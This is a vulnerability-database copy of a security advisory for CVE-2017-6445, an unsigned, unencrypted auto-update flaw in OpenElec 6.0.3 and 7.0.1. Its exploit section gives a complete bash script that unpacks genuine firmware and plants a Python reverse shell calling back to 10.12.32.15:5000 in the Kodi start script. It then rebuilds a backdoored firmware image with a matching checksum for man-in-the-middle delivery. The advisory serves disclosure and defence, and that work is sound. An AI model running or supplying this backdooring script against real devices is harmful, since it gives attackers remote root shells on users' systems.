Lucene search
K

OpenElec 6.0.3 / 7.0.1 Code Execution

🗓️ 06 Mar 2017 00:00:00Reported by Wolfgang HotwagnerType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 56 Views

OpenElec 6.0.3 / 7.0.1 Code Execution vulnerability through Man-In-The-Middl

Related
Code
ReporterTitlePublishedViews
Family
0day.today
OpenElec 6.0.3 / 7.0.1 Code Execution Vulnerability
6 Mar 201700:00
zdt
CVE
CVE-2017-6445
5 Mar 201720:00
cve
Cvelist
CVE-2017-6445
5 Mar 201720:00
cvelist
EUVD
EUVD-2017-15502
7 Oct 202500:30
euvd
NVD
CVE-2017-6445
5 Mar 201720:59
nvd
OSV
CVE-2017-6445
5 Mar 201720:59
osv
Prion
Design/Logic Flaw
5 Mar 201720:59
prion
`During my research about update mechanisms of open-source software I  
discovered vulnerabilities in OpenElec.  
  
== [ OVERVIEW ] ==  
  
System affected: OpenElec  
CVE: CVE-2017-6445  
Vulnerable component: auto-update feature  
Software-Version: 6.0.3, 7.0.1  
User-Interaction: Reboot required  
Impact: Remote Code Execution with root permission  
  
== [ PRODUCT DESCRIPTION ] ==  
  
According to its website "Open Embedded Linux Entertainment Center  
(OpenELEC) is a small Linux based Just Enough Operating System (JeOS)  
built from scratch as a platform to turn your computer into a Kodi media  
center."  
  
== [ VULNERABILITY ] ==  
  
Automatic updates are disabled by default. After enabling it, OpenElec  
connects to http://update.openelec.tv/updates.php to find out if there  
is an update for a newer version. If there is a newer version, openelec  
will download it from http://releases.openelec.tv/<version>.tar(or any  
other url returned by update.openelec.tv).  
  
The auto-update feature of OpenElec does neither use encrypted  
connections nor does it use signed updates. A Man-In-The-Middle could  
manipulate the update-packages to gain root-access remotely.  
In order to run the downloaded firmware, the OpenElec-system has to be  
rebooted. So at this point user-interaction is required.  
  
== [ EXPLOIT ] ==  
  
The following code downloads an openelec-firmware, extracts it, places a  
reverse-shell into the kodi-startscript and finally generates a  
backdoored firmware:  
  
#!/bin/bash  
OPENELEC="OpenELEC-RPi2.arm-7.0.1"  
DOWNLOADURL="http://releases.openelec.tv/"  
TMP="/tmp"  
  
cd $TMP  
test -e ${OPENELEC}.tar || wget $DOWNLOADURL/${OPENELEC}.tar  
test -d $OPENELEC || tar xvf ${OPENELEC}.tar  
test -d $TMP/unpacked || mkdir $TMP/unpacked  
  
cd $TMP/unpacked  
  
test -d $TMP/unpacked/squashfs-root || unsquashfs  
$TMP/$OPENELEC/target/SYSTEM  
  
cat > $TMP/unpacked/squashfs-root/usr/bin/revshell.sh << EOF  
  
#!/bin/bash  
while true  
do  
python -c 'import  
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.12.32.15",5000));os.dup2(s.fileno(),0);  
os.dup2(s.fileno(),1);  
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > /dev/null 2>&1  
done  
EOF  
  
chmod 777 $TMP/unpacked/squashfs-root/usr/bin/revshell.sh  
  
awk '/trap cleanup TERM/ { print; print "/usr/bin/revshell.sh &"; next  
}1' $TMP/unpacked/squashfs-root/usr/lib/kodi/kodi.sh >  
$TMP/unpacked/squashfs-root/usr/lib/kodi/kodievil.sh  
  
mv $TMP/unpacked/squashfs-root/usr/lib/kodi/kodievil.sh  
  
$TMP/unpacked/squashfs-root/usr/lib/kodi/kodi.sh  
  
chmod 777 $TMP/unpacked/squashfs-root/usr/lib/kodi/kodi.sh  
mksquashfs squashfs-root/ SYS -noappend -comp gzip  
mv SYS $TMP/$OPENELEC/target/SYSTEM  
cd $TMP/$OPENELEC  
md5sum target/SYSTEM > target/SYSTEM.md5  
cd $TMP  
tar cvf $OPENELEC.evil.tar $OPENELEC  
  
test -d $TMP/unpacked && rm -fr $TMP/unpacked  
test -d $OPENELEC && rm -rf $OPENELEC  
  
== [ MITIGATION ] ==  
  
Ensure that auto-update is disabled.  
  
== [ Timeline ] ==  
  
* This bug was reported on December 03 2016.  
* Published as Zero-Day after no reply from OpenElec on March 04 2017  
  
== [ CREDITS ] ==  
  
CVE-2017-6445 was discovered by Wolfgang Hotwagner  
(https://tech.feedyourhead.at/content/openelec-remote-code-execution-vulnerability-through-man-in-the-middle)  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation